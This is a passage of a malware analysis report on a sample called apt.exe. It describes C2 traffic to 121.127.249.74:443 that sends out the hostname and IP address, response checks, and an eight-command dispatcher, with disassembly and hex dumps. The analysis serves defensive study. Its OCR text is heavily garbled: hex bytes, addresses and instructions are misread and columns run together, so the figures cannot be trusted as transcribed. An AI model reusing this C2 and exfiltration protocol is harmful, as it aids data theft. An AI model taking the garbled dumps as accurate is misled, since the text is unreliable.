03FEQ3C4|31 35 38 32|37 34 37 35|32 30 2F 6%9|6E 64 65 78|1532747520/index U(-]J.EFEF‘ 00000000 -
03FEOQ3D4 | 2E 70 68 70|20 48 54 54|50 2F 31 2E(30 0D 0A 41|.php HTTP/1.0..A (](JiEFEFg D3FE0284 | "GET
O3FED3E4| 63 63 65 70|74 3A 20 2ZA|2F 2A OD DA|41 63 63 65 |cCcept: *,/*..AcCce 0013FEFC | DO19FEE2C
O3FEO3F4 |70 74 2D 4C |61 6E &7 75|61 &7 65 3A(20 &5 6E 2D | pt-Language: en- [JL'JJ.’Bi:F.[][J re7186CEL| retur
0O3FEO404 |75 73 OD OA |48 6F 73 74(3A 20 31 32|31 2E 31 32 |us..Host: 121.12 oo19FFo4 | oo19rFz4| Paint
03FEO414 | 37 2E 32 34|39 2E 37 34|3A 34 34 33|0D 0OA 50 72|7.249.74:443..Pr op1aFFos || 67186D79| apt €
03FEO424 | 61 67 6D 61|3A 20 6E 6F|2D &3 &1 63|68 65 0D OA| agma: no—cache.._ oo1areoc || oo1aer2c g
O3FED434|55 73 65 72|2D 41 67 65|6E 74 3A 20(4D 6F 7A 63| User-Agent: Moz1i no019FFLo || 671912F0| apt.E
03FED444|6C 6C 61 2F |34 2E 30 20|28 63 6F 6D (70 61 74 69| 11a/4.0 (compati U(.]J.SFFJA 0020B000 2
03FEQ454| 62 6C 65 3B|20 4D 53 49|45 20 37 2E(30 2B 20 57| ble; MSIE 7.0; W no1areLs || oooooooo
03FE0464| 69 6E 64 6F |77 73 20 4E|54 20 35 2E(31 2B 20 53| indows NT 5.1; S [J[Jl;':'-'lc 00015F90
03FEO474 |56 31 29 OD|0A 43 6F GE|74 65 6E 74|2D 4C 65 6E|V1l)..Content-Len [J[Jl;i:i:"fl 00000001
03FED484 |67 74 68 3A|20 30 0D 0OA|43 6F G6E GE(65 63 74 69| gth: 0..Connecti =

5 9EEZ "
03FEOQ424 | 6F 6E 3A 20|4B 65 65 70|2D 41 6C 62|76 65 0D OA|oOn: EE:EDjAl'l'IyE.. ﬁﬁjl'c.,’;:-,g ggEEggig “EE‘I?I

Figure 45
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The malware reads the response from the server using the recv function, byte-by-byte (the length
parameter is 1). It stops when the result contains “\x0d\x0a\xOd\x0a” (2 new lines characters in
Windows) and it checks to see if the response contains “200 OK”, which means that the
connection was successfully established:

i . 64 0O push o X8TTY
] . &4 01 push 1
! . BE 45 F4 mov eax,dword ptr ss:|[ebp-C] KBTS
! . ED 44 30 FF lea eax,dword ptr ds:[eax+esi-1]
| - 50 push eax
. ] 8B 45 FC mov eax,dword ptr ss:[lebp-4[
! ] 50 push eax
Eg— s E8 7D E2Z FF FF €8Tl <apt.recv>
] L o === k- ——-
&
<apt.recvs
CODE:671863B6 apt.exe:$63B6 #57B6

Y Dump 1 e Dump2 @Y Cump3 By Dump4 @8 Dump 5 @ watch 1 [x=| Locals & Struct OD19FASC | 02FEDS34
[Address | Hex [ AscTT i A| D019FASO | 00000001

|'03FE0894 [BB 00 00 OO|E4 BE 18 G7|E4 BS 18 67|64 27 00 00| M...OM.qod.qd?.. | 0DO0L19FAS4 00000000

Figure 46

G""’

There is also a second comparison between the response and the string (if the result doesn’t

contain “!!” then the process performs a closesocket API call):

M2
CODE:671B6CES push 64h ; "d’ ; dwMilliseconds
CODE:67186CE7 call Sleep
CODE:67186CEC lea edx, [ebptvar 14]
CODE:67186CEF mov eax, [esi]
CODE:67186CF1 call sub_ 67186334
CODE:67186CF6 mov eax, [ebptvar_14]
CODE:67186CF9 mov edx, offset str 3.Text ; !! string
CoDE: 67186CFH call @system@@LstrCmpdqqry ; System::_ linkproc__ LStrCmp(void)
CODE:6718B6DA3 jz short loc_67186D19
| 1
Y
[l s
CODE:67186D19
CODE: 67186019 loc_67186D19:
CODE: 67186019 push 6d4h ; 'd’
CODE:67186D1B call Sleep
CODE: 67186028 mov edx, [ebpt+var
CODE: 67186023 mov eax, [esi]
CODE:67186D25 call sub_B7186B68
CODE:67186D2A test al, al
CODE:67186D2C -z short loc 671
Figure 47

The hostname and the IP address of the local machine are exfiltrated to the C2 server using a
POST request. The SessionID parameter is randomly generated:
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As before, there are multiple recv function calls following the POST request, and the process

. e - —- e g
1 i ®| 67186883 A 00 push 0
Fail ®| G7186B55 BB 45 FC mov eax,dword ptr ss:|[febp-4f
i ®| 67186B88 ES8 BF CB FF FF EET] apt.6&718374C
b ®| 67186B5D 50 push eax
! - ®| 67186BSE 8B 45 FC mov eax,dword ptr ss:|[febp-4f
! #| 67186B91 E3 B& CD FF FF EET] apt.6&718394C
P! ®| 67186E96 50 push eax
ki #| 67186B97 ) push esi
Eg—— ES A3 DA FF FF €all <apt.send>
N . i ' :
o
<apt.send>
CODE: 67186B98 apt.exe: $6B98 #5F38
IESERESEY 00000238 |
ﬂitl DUITID 1 ﬂi'lul DIJITI|:| 2 lli'lul DUITI|:| 5 lili'lul DL]ITII:I 4 lli'lul DL.IITI|:| 5 @ Watch 1 Jx=] Lﬂ!ﬁl} 0O019FEDS QBFE.Q;;(E) "POST
Address | Hex ASCII A || POLIFEDC | 00000167
03FEO720 [[B@ 4F 53 54|20 2F 63 78|70 69 64 2F|73 75 &2 6D |POST /cxpid/subm gg}gﬁggg gggggggﬂ e
03FEO730( 69 74 2E 70|68 70 3F 53|65 73 73 69|6F GE 49 44|it.phpTSessionID O0L9FEES | 67186BRSE aﬁt -
O03FEO740(30 36 37 20|48 54 54 50|2F 31 2E 30|00 OA 48 &F|=67 HTTP/1.0..Ho OO0L9FEEC | OO19FEFC K
O3FEO7S0(73 74 3A 20|31 32 31 2E(31 32 37 2E|32 34 39 2E|st: 121.127.249. O019FEFO | 67188680 | apt. &7
O3FEO760| 37 34 3A 24(34 33 0D OA(S5 73 65 72|2D 41 67 65|74:1443..User-Age OOL9FEE4 | 00000000
03FEO770(6E 74 3A 20|4D 6F 7A 69|6C &C 61 2F |34 2E 30 20|nt: Mozilla/4.0 O0LSFEFS | 03FEQT20 | "POST
O3FEO780(28 63 &F 6D |70 61 74 69|62 6C &5 3B|20 4D 53 49| (compatible; MSI O0L9FEFC | OO19EE2C
O3FEO790( 45 20 37 2E|30 3B 20 57|69 6E &4 GF |77 73 20 4E|E 7.0; Windows N O0L9FFO0 P67 186D2A| Feturt
O3FEO7FAO(54 20 35 2E|31 3B 20 53|56 31 29 OD|0A 41 63 63|T 5.1; SVi)..Acc oo1arros || co19FE34| Pointe
O3FEO7FBO( 65 70 74 3A|20 2A 2F 2A|0D OA 41 63|63 &5 70 74|ept: */*. Accept ooierros || 67186D79 aﬁt.éi
O3FEO7CO| 2D 4C 61 GE(67 75 61 67 (65 3A 20 65(6E 2D 75 73|-Language: en-us ooiaeroc || oo19FF2c
O3FEO7DO| 0D 0A 43 6F [6E 6E 65 63|74 69 6F GE|3A 20 4B 65|..Connection: Ke 0019FF10 || 671912F0| apt. Er
O3FEO7FEO( G5 70 2D 41|6C 69 76 65|0D OA 43 &F|6GE 74 &5 &E|ep-Alive..Conten onierr14 || oozos000 '
O3FEO7FFO(74 2D 54 79|70 65 3A 20|74 65 78 74|2F &8 74 6D|t-Type: text/htm ooieer1s || coooooon
O3FEOB0O0(6C OD OA 43 |6F GE 74 65|6E 74 2D 4C|gS GE &7 74|1..Content-Lengt onierric || oooisEso
O3FEOB10( &8 3A 20 31|30 39 0D OA|OD OA 3C 68|74 6D &C 3E|h: 109....<html> oo1srr20 || cooooooL
O3FEO820(3C 68 65 61|64 3E 3C 74|69 74 6C 65|3E 52 65 73| <head»<title-Res UUL%E”;4 D3FENT20| "POST
O3FEO830(75 6C 74 3C|2FE 74 §9 74|6C &5 3E 3C|2F 68 65 6l|ult</titles</hea Unleﬁggs DZFE0ZE4| "GET F
O3FEOB40( 64 3E OD 0A|3C 62 &F 64|79 3E 3C 68|34 3E 44 45 |d>..<body><h4>DE oo19rr o Loo19FFsc
O3FEOB50(53 4B 54 4F |50 20 32 NI 2F 32 31| SKTOP-2SEEN 21 O0L3FF30 FE718903A| Feturt
O3FEOBE0( 35 38 32 37|34 37 35 32|2F 32 31 35(38 32 37 34|58274752,/2158274 0019FFz4 || GO19FFEE4| Pod e
O3FEO870(37 35 32 30|3C 2F &8 34|3E 3C 2F 62|6F 64 79 3E|7520</hd4></body> oo1aerzs || 6718904 aﬁt -
O3FEOBB0|3C _ZF &8 74|6D 6C 3E 00|E4 BS 18 67 |E4 BS 18 67| </html>.dp.gdu.g| ¥ | ontaccac | onranece i
Figure 48

expects the response to contain “200 OK” and “Success”. If it doesn’t, then there is a Sleep call for

90 seconds and it tries again. A new thread is created using the CreateThread function:

Thread activity

Figure 49

®| 67189040 50 push eax x;
e 6718304E 64 00 push 0 e
. 189050 A 00 push 0
@ 67189052 68 &4 B3 18 &7 push apt.&7188364 X8
®| 67183057 6A 00 push 0
®( 67189059 A 00 push 0 e
Eg— EE D8 B4 FF FF call <apt.CreateThreads W=
] = : = Defi
1:
<dpt.CreateThread:> 2
3:
4:
CODE:6718905E apt.exe:$905B #8458
00000000
Ui'lil DUITIFI 1 lﬂitl DUITI|:I 2 uiw DL.IITI|:I 3 Uitl DLJITI|:I 4 uiw DUITI|:I 5 @ Watch 1 Jx=] Ldﬂl' 0019FF20 | 00000000
TSR T ASCTT = ggigzzgz 67183364 | apt.67188364
67186B58|583 75 63 63|65 73 73 00|55 BB EC 51|53 56 89 55 Successé¥.1qiv.u Q019FF2C gggggggg
67186B68|FC 8B FO 8B(45 FC E8 C9|CD FF FF 33 |CO 55 &8 B8 |U.0.ElUeElyv3Auh,
E71AER7RI ER 18 K7 RAIFF 2N R4 AGl2n 22 NR &alnn 2R A Br |k aeined )'-:K'i Eil 0013FF30| 0019FFSE

Some parameters used in the network communications like “id” and “SessionID” are generated by

a function called “Randomize”:
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CODE:67182628

Attributes: library function

; _DWORD _ cdecl System::Randomize()

[@systemiiRandomize$qqrv proc near

var_8= dword ptr -3

add

push
call
test

jz

esp, BFFFFFFF8h

esp 3 lpPerformanceCount

QueryPerformanceCounter
£ax, eax
short loc_67182634

v

Ll s 55

il s =

pop
retn

eax, [esp+B+var_B]
ds:dword_6718ABBE, eax

EeCK
edx

call
mav

pop

pop
retn

loc_67182634:

GetTickCount

ds:dword_6718ABBE, eax
ecx
edx

[@systemiRandomize$qqrv endp

Figure 50

It’s important to mention that some HTTP headers are just decrypted before the network

communication is performed using the algorithm described in the first paragraphs. The sample

performs another GET request using the send function:

Figure 51
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. GA 00 push 0

. 8B 45 FC mov eax,dword ptr ss:[febp-4]

. ES8 BF CB FF FF call apt.&718374C

. 50 push eax

®| 67136BBE BB 45 FC mov eax,dword ptr ss:|[lebp-4f

®| 67186891 E8 B6 CD FF FF €all apt.&718394C

L 136B96 0 push eax

@ 671868597 1 push esi

L E8 A3 DA FF FF call <apt.send:-

®| 67136890 45 dec eax

#| 67136B9E ~ FC 02 j1 apt.&7186BAZ W

*l< b3
<apt.send>
CODE: 67186B98 apt.exe: §6B98 #S5F98

o 047 ) IR

@Woump1  @Wpump2  WYoDump3  @loump4  Whpumps @ watch1  [=llocas { Plosoaooea DngO;DBE "GET
address | Hex ASCIT ~ g:;igg;g 000000E2
03FEOQ9D4 |47 45 54 20(68 74 74 70|3A 2F 2F 31|32 31 2E 31|GET http://121.1 04710020 | 0471DDAD | Poin
O3FEO9E4 (32 37 2E 32(34 39 2E 37 (34 3A 34 3433 2F 71 75|27.249.74:443/qu 04710024 | 67 186BES aﬁt ]
0O3FEO9F4 |65 72 79 2E(70 &8 70 3F|69 64 3D 34|36 33 20 48| ery.php?id=463 H 04710083 | 0471DD98 ¢
O3FEOAOD4 |54 54 50 2F|31 2E 30 OD|0A 41 63 63|65 70 74 3ZA|TTP/1.0..Accept: 0471DDSC | 67188364 | apt. |
03FEOALl4 |20 2A 2F 2A|0D 0OA 41 63|63 65 70 74|20 4C 61 GE| */*._ Accept-Lan 04710090 | 00000000 £
03FEDA24 |67 75 61 67|65 3A 20 65|6E 2D 75 73|0D 0A 48 GF |guage: en-us..Ho 04710024 | 03FE0SD4 | "GET
03FEOQA34 |73 74 3A 20|31 32 31 2E|231 32 37 2E(32 34 39 2E|st: 121.127.249. 04710092 | 0471FF80
O3FEQA44 |37 34 3A 34|34 33 0D 0A |50 72 61 &7 (6D 61 3A 20|74:443..Pragma: lf]-1-.'lDD9C r67 188298 | retul
O3FEOAS4|6E 6F 2D 63|61 &3 65 G5|0D OA 55 73|65 72 2D 41| no-cache..User-A oa710040 || 0a71FFCC| PO
0O3FEOAG4 |67 65 GE 74(3A 20 4D G6F|7A 6% 6C 6C (61 2F 34 ZE|gent: Mozilla/4. 8-1--_J.DDT—“4 67 188B9A aat 1
O3FEDAT4|30 20 28 63|6F 6D 70 61|74 69 62 GC |65 3B 20 4D |0 (compatible; M na71ionas | 0471FER0 i
O3FEOAB4 |53 49 45 20|36 2E 30 3B|20 57 69 GE|64 6F 77 73|SIE 6.0; windows i]4;'DD:C 67188364| apt.
O3FE0A9S4 (20 4E 54 20(35 2E 31 3B(20 53 56 31(29 0D DA 43| NT 5.1; 5Wl1)..C i]-t:‘TDDE[J 67188364 agtll
D3FEDAA4(6F G6E 6E 65(63 74 69 6F(6E 3A 20 4B |65 65 7O 2D|onnection: Keep- i]-1-.'IDDB4 00000000 i
O3FEOAB4| 41 6C 69 76|65 0D OA OD|0A 00 00 OO|E4 BS 18 &7 |Alive....... fu.g et | il
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The file reads the response from the server using the recv function, byte-by-byte. It expects again a
“200 OK” string and as opposed to before, it expects the response not to contain “!!” (if it does,

the malware exits):

! . 6A DO push 0
I . 64 01 push 1
! L] BB 45 F4 mov eax,dword ptr ss:[febp-Cff
! . 8D 44 30 FF lea eax,dword ptr ds:[eax+esi-1]
1 L] 50 push eax
i L] BB 45 FC mov eax,dword ptr ss:[lebp-4]
| . 50 push eax
[ELP pumr e ES 7D E2 FF FF €all <apt.recv>
g L] 8B D8 mov ebx,eax
1 L ] >
1
<apt.recv>
CODE:671863B6 apt.exe: $63B6 #57E6

24 Dump 1 4% Dump 2 % Dump 3 B4 Dump 4 B Dump 5 & watch 1 [x=l Locals 4 !;:'
| address | Hex | ASCIT | A|
| D3FEDACC | @@ 00 00 OD|E4 BS 18 &7|E4 BS 18 &7[2C 35 00 00|L...OM.Q0M.Q,5.. |

0471D928
0471D92C
0471D330

AATANGT A

MATARMRAN

Figure 52

The process parses the response from the C2 server for an integer corresponding to a command

that has to be executed. It implements 8 different commands, as shown in figure 53:

CODE:6718B45F call unknown_libname_66 ; BDS 2885-28087 and Delphif-7 Visual Component Library
CODE:67188464 mov ebx, eax

CODE:67188466 lea eax, [ebpt+var_24]

CODE: 671884689 push eax

CODE:6718846A mov ecx, ebx

CODE:6718846C dec ecx

CODE : 67188460 mov edx, 1

CODE:67188472 mov eax, [ebpt+var_3@]

CODE: 67188475 call @System@ilStrCopyfqqryv ; System::_ linkproc__ LStrlopy(void)
CODE:6718847A lea eax, [ebpt+var_3@]

CODE:6718847D mov ecx, ebx

CODE:6718847F mov edx, 1

CODE: 67188484 call @System@iiLstrDeletefqqrv ; System::_ linkproc__ LStrDelete(void)
CODE:67188489 mov edx, [ebpt+var 3@]

CODE:6718848C mov eax, offset _str__ 16.Text

CODE:67188491 call unknown_libname 66 ; BDS 2805-2087 and Delphi6-7 Visual Component Library
CODE:67188496 mov ebx, eax

CODE:67188498 lea eax, [ebpt+var_28]

CODE:67188498 push eax

CODE :6718849C mov ecx, ebx

CODE:6718849E dec ecx

CODE:6718849F mowv edx, 1

CODE:R71884A4 mov eax, [ebptvar_38]

CODE:671884A7 call @System@@LStrCopybqqrv ; System::_ linkproc__ LStrCopy(void)
CODE:671884AC mov eax, [ebpt+var_1C]

CODE:671884AF call unknown_libname_75 ; BDS 2885-2887 and Delphi6-7 Visual Component Library
CODE:B71884B4 cmp eax, 7 ; switch 8 cases

CODE:671884B7 ja def 671834BD ; jumptable 671884BD default case

Figure 53
Case 1 -EAX =0

The process sends a POST request to the server that contains a similar HTML document, however
the exfiltrated information is different. The following bytes can be highlighted: CF 83 CD 83 CF
83, on which we can apply a NOT operation and obtain 30 7C 32 7C 30 7C (012101):
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Figure 54

P #|| 67186883 64 00 push ©

:: #( 67156B85 8B 45 FC mov eax,dword ptr ss:febp-4]

rn | 67186BE8 ES8 BF CB FF FF E&1T1 apt.e&718374C

:: @ 67186B8D 50 push eax

:: @ 67186BBE BB 45 FC mov eax,dword ptr ss:[febp-4f

il #| 67186891 ES8 B6 CD FF FF Ea11 apt.6718394C

P! o 67186B96 50 push esax

Tl ®( 67186697 56 push esi
El—— E8 A3 DA FF FF c€all <apt.send=

i o E71EEE9D 48 dec e=ax

1§ r----#| G7T1BEESE ~ 7C 02 j1 apt.67186BAZ

Lot MR
<apt.send:>
CODE: 67186B98 apt.exe: $6B98 #5F98

24y Dump 1 P Dump2 @4 Dump 3 Py Dump4 B4 Dump S B watch 1 Ix=llocals ‘!9) NA7IDDT 4 ungu;'gg

Address | Hex ASCII A 0471DD7 8 | 00000146
O3FEODSO |S@ 4F 53 54 (20 2F 63 78|70 69 &4 2F |72 75 62 6D |POST Scxpid/subm g:zigggﬁ 047 1DDAD
O3FEODG0| 69 74 2E 70|68 70 3F 53|65 73 73 69|6F BE 49 44(it.phpTSessionID 04710054 | 67156EBE
O3FEOD70| 3D 36 32 20|48 54 54 50(2F 31 2E 30|00 DA 48 6F|=62 HTTP/1.0..Ho D-ﬁlDDSS 04710098
O3FEODSB0|73 74 3A 20|31 32 31 2E(31 32 37 2E|32 34 39 2E(st: 121.127.249. 0471D05C | 00000000
O3FEODS0| 37 34 3A 34|34 33 0D OA|55 73 65 72|20 41 67 65|74:443..User-Age 047100390 | oooooooo
O3FEODAQ| GE 74 3A 20|4D 6F 7A 69(6C &C 61 2F |34 2E 30 20| nt: Mozilla/ 4.0 04710034 | 03FEDDS0O
O3FEODBO| 28 63 6F 6D |70 61 74 69|62 6C 65 3B|20 4D 53 49| (compatible; M5I 04710095 | 047 LFFE0
O3FEODCO| 45 20 37 2E(|30 3B 20 57|69 6E 64 &F |77 73 20 4E|E 7.0; Windows N 0471003C [FE718858A
O3FEODDO |54 20 35 2E|31 3B 20 53(56 31 29 OD|0A 41 63 63 (T 5.1; SV1)..Acc na71ooa0 || oa71FECE
O3FEODEO| 65 70 74 3A|20 2A 2F 2A|0D 0OA 41 63|63 65 70 74|ept: */*,.Accept ne7ionas || 67158834
O3FEODFD| 2D 4C 61 6E|67F 75 61 67|65 3A 20 65|6E 2D 75 73|-Language: en-us na71ooas || 047 1FFa0
O3FEOEQD|OD OA 43 6F|6E 6E 65 63|74 69 6F 6E|3A 20 4B 65|..Connection: Ke 471004 || 67188364
O3FEDELQ| 65 7O 2D 41|6C 69 76 65(0D DA 43 6F|6E 74 &5 GE|ep-Aliwve..Conten 471000 || 67188264
O3FEOE20|74 2D 54 79|70 65 3A 20|74 65 78 74|2F 68 74 6D | t-Type: text,/htm 047100E4 || ooDOODOD
O3FEOE30|&6C 0D 0OA 43 |6F GE 74 65 (6E 74 2D 4C L 74(1..Content-Lengt D-f‘lDDEIS 00000000
O3FEOE40| 68 3A 20 37|37 0D OA OD|(QA 3C €8 74|60 6C 3E 3C|h: 77....<html>< oa71ooec || oooooooo
OIFEQESD| 68 65 61 64 |3E 3C 74 69|74 6C 65 3E|52 65 73 75| heade<title=Resu U-leDCU 00000000
O3FEOEGD|6C 74 3C 2F (74 69 74 6C|65 3E 3C 2F |68 65 61 64| 1t</titlex</head na71ooc 4 || oooooooo
O3FEOEFO|3E 0D DA 3C |62 6F 64 79(3E 3C 68 34|3E CF 83 CD|>..<body><h4-I.1 na71pocs || oooooooo
O3FEOES0| 33 CF 83 3C |2F &8 34 3E|3C 2F 62 &F |64 79 3E 3C .I.-\:,.fh4.:-5,.fbl:lgy::--: 04;1DDCC 00000000
O3FEOE90| 2F 68 74 6D |6C 3E 00 00|E4 BS 18 67 |E4 BS 18 67| /html>..0u.00u.0 ¥ [ 52710000 | oooooooo

The reponse from the server is received using the recv function. If the connection was successful,

the process expects a “200 OK” string and also “Success”, as shown below:

CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE

167136443
167186440
167186453
167186455
167136A56
167186A5B
167186461
:67186A66
:67186A66

call
mowv
mowv
pop
call
mov
mow
call
jnz

unknown_libname_63 ; BDS 2885-2887 and Delphi6-7 Visual Component Library

eax, [ebptvar_44C]

edx, esi

eCx
@system@@LstrCopy$qqrv ; System::  linkproc__ LStrlopy(void)
eax, [ebptvar_448]
edx, offset _str Success.Text ; Success
@system@@LstrCmpSgqry 3 System::_ linkproc__ LStrCmp(void)
short loc_67186A71

Figure 55

There is another GET request to the CnC server performed by the malicious process:
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:i ®| 67186B83 6A 0O push 0

L ®| 6718G6BSE5 8B 45 FC mov_eax,dword ptr ss:|[febp-4]

' ®| 671568383 ES8 BF CB FF FF €311 apt.6718374C

! | ®| 67186BED 50 push eax

i ! ®| 67186BBE 8B 45 FC mov eax,dword ptr ss:|[febp-4J

il ®| 67156891 ES B6 CD FF FF E&T1T apt.6718394C

! ! #| 67186B96 50 push eax

Ly ®| 567186897 56 push esi

— 2 ES A3 DA FF FF £all <apt.send:>

i ¢ | 67186E3D 48 dec eax

] ; r—--l 67186B9E ~ 7C 02 j1 apt.&7186BAZ e

Ll >
<apt.send:
CODE: 67186893 apt.exe:$6B93 #5F93
Woumpt  @Upump2z @Wloump3 @oump4  @Wpumps @ watchi  =llocaks 4 P[GaTannTa unguiI:'gE "GET
Address |Hex ASCII Yt e
OIFEOFC4 47 45 54 20|68 74 74 70|3A 2F 2F 31|32 31 2E 31|GET http://121.1 0471DD20 | 047 1DDAD | Point
OIFEOFD4 (32 37 2E 32|34 39 2E 37|34 3A 34 34|33 2F 71 75|27.249.74:443/qu D4;lDDS4 6718GEBS | apt i
O3FEOFE4|65 72 79 2E|70 68 70 3F|69 64 3D 33|34 34 20 48|ery.php7id=344 H 04710083 | 04710098 3
O3FEOFF4|54 54 50 2F|31 2E 30 OD|0A 41 63 63(65 70 74 3A(TTP/1.0..Accept: 04710050 | 00000000
O3FE1004|20 2A 2F 2A|0D DA 41 63|63 65 70 742D 4C 61 GE| =*/*..Accept-Lan 04710090 | 00000000
O3FE1014|67 75 61 67|65 3A 20 65|6E 2D 75 73 (0D 0OA 48 6F|guage: en-us..HO n4710094 | D3FEOFCS | "GET
O3FE1024|73 74 3A 20|31 32 31 2E(31 32 37 2E(32 34 39 2E(st: 121.127.249. 04710092 | 047 1FESN
O3FE1034|37 34 34 34|34 33 0D OA(50 72 61 67 (6D 61 3A 20(74:443..Pragma: 0471DD3C P67 1885ED | retur
O3FE1044|6E 6F 2D 63|61 63 65 65|0D 0A 55 73|65 72 2D 41(no-cache..User-A n4710oa0 | 0471FFCe| Point
O3FE1054| 67 65 GE T74|3A 20 4D 6F|7A 69 6C 6C (61 2F 34 2E(gent: Mozilla/4. na-1ooas | 67158894 apt. ¢
03FEL1064|30 20 28 63|6F 6D 70 61|74 69 62 6L |65 3B 20 4D |0 (compatible; M 04;1DD:S 0471FFBO Bt
03FEL1O74|53 49 45 20|36 2E 30 3B|20 57 &% GE|64 6F 77 73|5IE 6.0; wWindows 04;1DD:C 67188364 apt.¢
O3FE10S84 (20 4E 54 20|35 2E 31 3B (20 53 56 31|29 0D DA 43| NT 5.1; SV1)..C 04%1DDED 67188364 apt.i
O3FE1094(6F G6E 6E 65|63 74 69 6F(6E 3A 20 4B(65 65 70O 2D(onnection: Keep- n47100E4 || oooDoDoo )
O3FELOA4| 41 6C 69 76|65 0D OA OD|0DA 00 OO0 OO|E4 BS 18 &7 |Alive.......0H.Q SRR || IR

Figure 56

The response from the server is expected to be larger this time (0x1000 = 4096 bytes):

#( 67188615 &8A 00 push ©
®( 67188617 &8 00O 10 00 00 push 1000
#| 6718861C 8D 85 C8 DF FF FF lea eax,dword ptr ss:[febp-2035]
®| 67188622 Lo push eax
#( 67188623 Al EO AD 18 &7 mov eax,dword ptr ds: [671BA0ED]
®| 67188625 8B 00 mov eax,dword ptr ds:[eax]
& 67188624 Lo push eax
EIP P ES8 08 CO FF FF call <apt.recvs
. 89 45 FO mov dword ptr ss:flebp-10§,eax
L ]
<apt.recv>
CODE: 6718862E apt.exe: $862E #7AZBE
;) [EEEEGREN] 00000130
Bhoump1  @Woump2  @oump3  @Woump4  @loumps @ watch1i  Ix=llocals 4 W D471DD D m?mﬁg
Address | Hex ASCIT ~ S | xR
0471DF458 00 00 00 00(00 OO0 OO0 00|00 00 OO OD(O0 OO0 OO0 OO | M. cesec e smsnnnns 04710DAD | 047 1EFCC
0471DF58( 00 OO OO OO(O00 OO0 OO0 OOD|O0 OO0 OO0 OO (00 OO0 OO0 00| @ . aeeeeeeasnnnss 047 1DDA4 | 67183894
0471DF6S8 (00 OO OO OO(00 OO OO0 OD|00 00 OO0 00|00 00 OO0 00| @ eecasnsnsnnnss 04710DAZ | D47 1EE80
0471DF78| 00 0O OO0 0QO(00 OO0 OO 00|00 00 OO OD(OD OO OO0 00| ceieanneesmsnnnns 0471DDAC | 67188364
0471DF88 (00 OO0 OO QO|(O0O0 OO0 OO OO|00 00 OO0 OO(00 OO0 OO0 D0 «@.ce e eeeannnnns 04710DED | 67188364
0471DFS58| 00 0O OO0 0QOO(00 OO0 OO0 00|00 00 OO OD(O0 00 OO 00| s seeesnsnnnns 04710DE4 | 0ODD0000
0471DFAS|( 00 OO OO OO(O00 OO0 OO0 OD|OD 00 OO0 OO |00 OO0 OO0 D0 @ v e ee e easnnnss 047 1DDES | DOODO0DO
0471DFBS (00 OO OO OO0(00 OO0 OO 00|00 00 OO0 00|00 00 OO0 D0 @. e e e easnnns= 047 10DEC | 0ODDODOO
0471DFC8| 00 0O OO0 00(00 OO0 OO0 00|00 00 OO OOD(OD OO OO0 00| ceeanneesmnnnnns 04710000 | 00000000
0471DFD8|( 00 OO OO OO|O0O0 OO0 OO0 OD|OO0 OO0 OO0 OO(00 OO0 OO0 00| «@.ce e eannens= 047 1DDC 4 | DODDODDO
0471DFES| 00 OO OO0 0QO(00 OO0 00 00|00 00 OO OD(00 O0 OO0 00| ceiesseeesnsnnnns 047100C 2 | 00000000
0471DFF8| 00 0O OO0 0QO(00 OO0 OO 00|00 00 OO OD(OD O0 OO0 00| cvewnncenmnnnnns 04710DCC | DOODOO0O
0471E0QOS8 (00 0O OO COO|O0O0 OO OO OO|00 OO0 OO0 OO(00 OO0 OO0 D0 «@. e eeeannenns 04710000 | DODDODOO
0471E018| 00 0O OO0 0QO(00 OO0 OO 00|00 Q00 OO OD(OO0 OO0 OD 00| e nneesmnnnnns 04710004 | 00000000
0471EOQ28(00 0O OO OO|O00 OO0 OO OOD|OO OO0 OO0 OO(C0 OO0 OO0 D0 «@. e eeeannnns= 04710DDE | DOODOODO
0471E0Q28 (00 OO OO OO(O0O0 OO OO OOD|00 OO0 OO0 OO |00 00 OO0 D0 @eeecesnsasnnnss 047 1000C | 00000000
0471E048| 00 0O OO0 0QO(00 OO0 OO 00|00 Q00 OO OD(O0 OO OO0 00| ceieanneesmnnnnns 04710DED | 00000000
0471EOQ58( 00 OO OO QO|O00 OO0 OO OO|00 OO0 OO0 00|00 OO0 OO0 00| «@. e e eannens= 047 10DE4 | DODDODOO
0471E068| 00 0O OO 0QO(00 OO0 OO0 00|00 Q00 OO OD(O0 OO0 00 00| cuiessaeesmsnnnns 04710DES | 00000000
0471EOQ78 (00 OO OO0 OO(O00 OO0 OO OOD|O0 0D OO0 OO (00 OO0 OO0 D0 @ v eeeeeeeasnnnss 047 1DDEC | DODDOODO
0471E088] 00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00| ....eueueuesesen ¥ | 047100F0l 03FEoFca
Figure 57

The response from the server is written to a file specified by a handle transmitted by the C2 server

(in our case, this was 0 because we’re trying to emulate the C2 server communications). The

WriteFile API call is presented below:
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1 ®| 6718292E 6A 00 push 0
f & 67182530 8D 45 FC 1ea eax,dword ptr ss:[febp-4]
i ®| 67182933 50 push eax
i ®| 67182934 8B 43 08 mov eax,dword ptr ds: [ebx+8]
! ®| 67182937 F7 EE imul esi
1 ®| 67182939 50 push eax
f ®| 671829334 57 push edi
! ®| 6718293B 8B 03 mov eax,dword ptr ds: [ebx]
| ®( 67182930 50 push eax
B EEE MRS il (PR S5 BEEpHC v
0 >
dword ptr [ebp+C]=[0471DD84 <&WriteFilex]=<apt.writeFile>
CODE: 6718293E apt.exe:$293E #1D3E
HiUDuml:l 1 I‘Jil',iDumpZ HitiDumpS lilitiDump‘} MDUITIDE @ Watch 1 [x=] Locals 4 ‘E}I 0471DD5 8 | 047 1DF 48 | "AA2
0471DD5C | 00000100
oot 8 P —_— —_— nt * | 0471DDED | D471DD74
0471DF458 | 41 41 41 4141 41 41 4141 41 41 4141 41 41 41 | BAASAAAAAAARLAAN 0471DDE4 | DOODODOD
0471DF58| 41 41 41 41|41 41 41 4141 41 41 41 (41 41 41 41| AAAAAAAASAAAAAAA 047 10063 | 00G0001
0471DF68 | 41 41 41 41|41 41 41 41|41 41 41 41 (41 41 41 41| AAAAAAAAAAAAAAAA AN eC  DhhRETGD
047IDF78 | 41 41 41 41|41 41 41 41|41 41 41 4141 41 41 41 |ASASAAAAAAANSAAN 04710070 | 00000000
0471DFS8| 41 41 41 41|41 41 41 4141 41 41 41 (41 41 41 41| AAAAAAAASAAAAARA 0471007 4 | GOOGO100
0471DF98 | 41 41 41 41(41 41 41 41|41 41 41 41[41 41 41 41| AAAAAAAAAAAAAAAA AT b A AnGna
0471DFAS | 41 41 41 41|41 41 41 41|41 41 41 4141 41 41 41 |ASASAAAAAAAASAAN 0471D0D7C F67182909| retL
